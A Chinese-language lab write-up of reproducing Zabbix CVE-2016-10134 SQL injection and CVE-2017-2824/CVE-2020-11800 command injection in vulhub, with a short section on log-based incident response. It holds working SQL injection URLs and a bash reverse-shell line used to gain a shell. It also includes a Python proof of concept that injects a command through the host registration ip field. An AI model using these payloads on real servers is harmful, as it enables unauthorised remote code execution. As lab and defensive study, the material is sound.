注:本文仅分享个人漏洞复现及排查,请勿用于非法途径。
简介及组件
简介
Zabbix 是一个基于 WEB 界面的提供分布式系统监视系统监视以及网络监视功能的企业级的开源解决方案,能监视各种网络参数,保证服务器系统服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位、解决存在的各种问题。
组件
Zabbix 监控系统由以下几个组件部分构成:
- Zabbix Server
Zabbix Server 是所有配置、统计和操作数据的中央存储中心,也是 Zabbix 监控系统的告警中心。在监控的系统中出现任何异常,将被发出通知给管理员。Zabbix Server 的功能可分解成为三个不同的组件,分别为 Zabbix Server 服务、Web 后台及数据库。
- Zabbix Proxy
Zabbix Proxy 是在大规模分布式监控场景中采用一种分担 Zabbix Server 压力的分层结构,其多用在跨机房、跨网络的环境中,Zabbix Proxy 可以代替 Zabbix Server 收集性能和可用性数据,然后把数据汇报给 Zabbix Server,并且在一定程度上分担了 Zabbix Server 的压力。
- Zabbix Agent
Zabbix Agent 部署在被监控的目标机器上,以主动监控本地资源和应用程序(硬盘、内存、处理器统计信息等)。Zabbix Agent 收集本地的状态信息并将数据上报给 Zabbix Server 用于进一步处理。
漏洞列表
注:下述复现的环境皆使用vulhub漏洞环境
CVE-2016-10134 – SQL 注入漏洞
概述
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]或jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。
影响范围
zabbix 2.0.x| 2.2.x| 2.4.x| 3.0.0-3.0.3
复现过程
此漏洞的利用方式分为两种,一种是需要登录利用,一种无需登录即可利用。前者利用点为latest.php,后者利用点为jsrpc.php
latest.php
这个的前提是需要登录进去,比如未关闭guest账号等
使用guest账号登录进去后,获取zbs_sessionid的值

构造payload,sid的值为上述zbx_seeesionid的值:
http://192.168.100.159:8080/latest.php?output.php=ajax&sid=09b5785d48e0b6ac0685e424cbb2d596&favobj=toggle&toggle_open_state=1&toggle_ids=updatexml(0,concat(0xa,database()),0)
jsrpc.php
此利用点无需登录,构造payload如下:
http://192.168.100.159:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileldx=web.item.graph&resourcetype=17 &profileldx2=updatexml(0,concat(0xa,database()),0)
getshell
getshell的话需要修改容器中zabbix_agentd.conf配置文件
vi /etc/zabbix/zabbix_agentd.conf
输入i进行编辑,添加EnableRemoteCommands = 1后按下esc键输入:wq保存并退出
修改后重启容器,使用上面注入后得到的账号登录进后台
登入之后点Administrator-script-creatscript,进行写入shell: bash -i >& /dev/tcp/ip/端口 0>&1
CVE-2017-2824/CVE-2020-11800-命令注入
概述
Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。其Server端 trapper command 功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求,从而触发漏洞。
影响范围
- zabbix 2.4.x
- zabbix 3.0.x < 3.0.4
原理
zabbix 调用script脚本时,没有对IP地址过滤,导致在注册host的数据包中的ip地址后面可以跟分号+命令的方式执行命令。
管理员开启了自动注册功能,接受任意主机注册。
复现过程
使用admin/zabbix登入后台。,进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action。


然后选择operations,选择Add host。


保存。这样就开启了自动注册功能,可以将自己的服务器注册为Agent。完成漏洞利用的前置条件。
由于CVE-2017-2824 和 CVE-2020-11800都是同一个漏洞,前者用ipv4拼接命令注入,后者用ipv6拼接,原理是一样的。
import sys import socket import json import sys def send(ip, data): conn = socket.create_connection((ip, 10051), 10) conn.send(json.dumps(data).encode()) data = conn.recv(2048) conn.close() return data target = sys.argv[1] print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"})) # CVE-2020-11800用下面这个 # print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"})) for i in range(10000, 10500): data = send(target, {"request":"command","scriptid":1,"hostid":str(i)}) if data and b'failed' not in data: print('hostid: %d' % i) print(data)
这个是vulhub的提供的poc,如果不成功需要多执行几次。

命令执行成功。
应急排查
zabbix的日志配置如下

执行成功的命令,在控制台有记录

zabbix web日志位于:/var/log/apache2/access.log

由于该漏洞是通过socket创建的,未使用http协议,所以web日志中不会有记录。